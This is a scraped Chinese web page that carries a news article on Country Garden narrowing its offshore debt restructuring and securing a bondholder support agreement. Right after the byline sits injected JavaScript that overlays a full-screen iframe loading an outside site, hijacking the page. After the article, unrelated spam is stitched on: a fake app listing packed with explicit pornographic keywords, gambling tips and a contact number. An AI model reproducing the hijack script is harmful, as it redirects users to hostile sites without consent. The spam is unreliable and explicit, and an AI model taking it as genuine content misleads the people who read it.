太平洋电脑网:黑料吃瓜-911吃瓜爆料黑料官网-碧桂园调整境外债重组范围,持有债券债务30%的债券人签署支持协议

alan 吃瓜黑料 2025-04-12 3 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

4月11日,碧桂园(02007.HK)宣布境外债务重组的进展。记者注意到,为尽快推进重组,碧桂园调整了纳入重组范畴的债务,本金额由此前的164亿美元减至140.74亿美元。

碧桂园的预期是,2025年12月31日前完成建议重组。在新的重组范围内,碧桂园取得多项关键性进展,包括专案小组签署重组支持协议、接近完成与银行协调委员的协商等。

同时,为展现对上市公司的支持,碧桂园的大股东董事会主席杨惠妍所在的杨氏家族同意将11.5亿美元股东贷款中的11亿美元转为认股权,另外5000万元则用来换取碧桂园在森林城市权益中60%份额。

纳入重组范围的债务减少

纳入重组范围的债务少了约23亿美元,碧桂园的削债金额也随之改变,最多削债金额由116亿美元降至110亿美元。

公告显示,建议重组的范围包括现有债务的范畴,整体未偿还本金总额约为140.74亿美元(计划索偿额),连同与未偿还本金相关的所有应计未支付(简称“计划索偿额”)。

碧桂园今年1月9日公布的纳入境外债务重组范畴的有息负债总额(不包括应计利息)约164亿美元,其中包括现有债券债务的未偿还本金额约103亿美元、现有银团贷款债务的未偿还本金额约36亿美元、股东贷款的未偿还本金额约11亿美元及其他有担保及无担保债务的未偿还本金额约14亿美元。

碧桂园在描述重组路径时提到,征求同意更改39亿港元4.95厘于2026年到期有抵押有担保可转换债券及78.30亿港元4.50厘于2023年到期有抵押有担保可转换债券的规管法律。

此举意在使两只可换股债券得以根据条款书及重组支持协议的条款纳入重组流程。2023年到期的可换股债券于2018年发行,认购方为香港上海汇丰银行有限公司;2026年到期的可换股债券于2022年发行,认购方为UBS AG香港分行。

关于重组的范围,碧桂园在公告中表示,公司有权将其他任何作为发行人、借款人或担保人所产生的财务债务纳入额外的计划索偿额,具体由本公司及顾问认为必要或合适,并须满足若干条件。

专案小组签署支持协议,接近完成与协调委员会的协商

碧桂园与专案小组和银行协调委员会的协商均取得进展。

碧桂园在公告中透露,已经与专案小组协议重组建议的主要条款,小组的成员已经签署重组支持协议。该小组持有现有债券债务本金总额的29.9%。

碧桂园还透露,接近完成与(银行)协调委员会若干成员的协商,待协商完成后,该等成员将进行内部程序以取得签立重组支持协议的相关批准。

今年1月,碧桂园曾表示,已与由7家知名银行(均为本集团长期业务伙伴)组成的协调委员会达成共识。协调委员会由共同持有或控制碧桂园3笔银团贷款(未偿还本金总额为36亿美元)未偿还本金额约48%的贷款人组成。

碧桂园表示,签立重组支持协议代表本公司探索整体方案解决其境外债务的重大里程碑,建议重组拟将债务回收率最大化,为公司业务复苏及有序出售非核心资产提供充足基础。

碧桂园呼吁债权人加入重组支持计划,并支付同意费。具体而言,早鸟重组支持协议同意费用为本金总额的0.10%;基础重组支持协议同意费用为本金总额的0.05%。

碧桂园和杨氏家族在股东贷款方面做出让步

在股东贷款的处理上,碧桂园和杨氏家族做出让步。

澎湃新闻此前曾报道,杨氏家族希望使用11.5亿美元股东贷款的一半换取碧桂园在森林城市项目的股权,另一半股东贷款转为公司股份。碧桂园“森林城市”项目位于马来西亚柔佛州新山市,为碧桂园与当地开发商共同开发,碧桂园通过Country Garden Pacificview Sdn. Bhd间接持有森林城市60%的股权。

目前,碧桂园和债权人协商的结果是,5000万美元换取Country Garden Pacificview Sdn. Bhd60%的权益,同时碧桂园将向债权人提供与森林城市项目有关的或有价值权,以在未来出售项目时分享潜在收益;剩余的11亿美元将用作认购认股权证并悉数预付其行使价,行使价格为每股0.60港元。

公告明确,截至公告日,关于认购认股权证的条款有待订约方之间作进一步磋商,且尚未订立确实交易协议。

国产ts人妖

4080电影

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载亚洲精品天堂在线观看安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
色鬼综合网0 韩国免费特一级毛片1 青娱乐淫秽视频2 国产日产欧产麻豆精品精品推荐3 在线视频黄色4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 看色情小说
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一,人妻体内射精一区二区三区,影音先锋av网站你懂得
二,电梯里被猛烈的进出双性,国产AV亚洲精品久久久久
三,诱受H嗯啊巨肉各种play,国产精品秘入口18禁麻豆免会员
四,久久久国产精品免费A片分天美,JLZZJLZZ日本人护士水好多
五,国产精品人妻无码久久久奥特曼,91视频国产一区
六,999精品国产人妻无码系列,风韵犹存丰满大屁股熟妇照片
七,精品国产九九,又黄又湿免费高清视频

【联系我们】
客服热线:139-8888-666
加载更多
版本更新
V1.22.17
處女開苞大合集毛片视频,国产色精品久久人妻无码看

澳门精准四肖

猜你喜欢

包含 饿了么 的应用集
评论
  • 蜜桃视频麻豆 4天前
    久亚洲AV无码专区A片
  • 免费国产精品视频在线 7天前
    国产天天射
  • 女人喷射视频在线播放你了 7天前
    亚洲精品无码高潮喷水A片软件
  • 全免费a级毛片免费看 6天前
    久久免费国产视频
  • 美巨乳爱奴 2天前
    H漫无羞遮无删减漫画免费
  • 性史性农村DVD毛片 4天前
    丰满人妻熟女色情A片
  • 欧洲-级毛片内射八十老太婆 5天前
    亚州黄色网址
  • 大胸年轻继坶1 4天前
    国产福利萌白酱在线观看网站
  • 人妻.中文字幕无码 4天前
    苍井空波多野结衣AA片
  • 久久精品影视 9天前
    老头第一次挺进苏雨瑶的身体视频